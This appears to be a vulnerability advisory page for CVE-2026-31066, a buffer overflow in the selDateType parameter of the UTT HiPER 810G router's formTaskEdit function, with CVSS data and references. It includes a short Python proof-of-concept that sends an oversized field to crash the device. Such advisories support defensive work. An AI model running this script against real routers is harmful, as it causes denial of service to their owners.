CVE-2026-31066

Description

UTT Aggressive HiPER 810G v3v1.7.7-171114 was discovered to contain a buffer overflow in the selDateType parameter of the formTaskEdit function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score

4.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:utt:810g_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:utt:810g:3.0:*:*:*:*:*:*:* - NOT VULNERABLE

UTT Aggressive HiPER 810G v3v1.7.7-171114

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-31066 Buffer Overflow
import requests

def trigger_dos(target_ip):
    # Target URL based on the vulnerable function
    url = f"http://{target_ip}/formTaskEdit"
    
    # Payload to trigger buffer overflow in selDateType parameter
    # Sending a long string to overflow the buffer
    payload = "A" * 1000  
    
    # Data payload
    data = {
        "selDateType": payload
    }
    
    try:
        # Sending POST request to the vulnerable endpoint
        response = requests.post(url, data=data, timeout=5)
        print(f"Request sent to {url}")
        print(f"Status Code: {response.status_code}")
    except Exception as e:
        print(f"Device likely crashed or unreachable: {e}")

if __name__ == "__main__":
    target = "192.168.1.1" # Replace with actual target IP
    trigger_dos(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31066
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31066
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31066/
[4] VulDB https://vuldb.com/cve/CVE-2026-31066
[5] https://github.com/zxq0408/Vul202601/blob/main/6.md

Raw JSON Data

JSON

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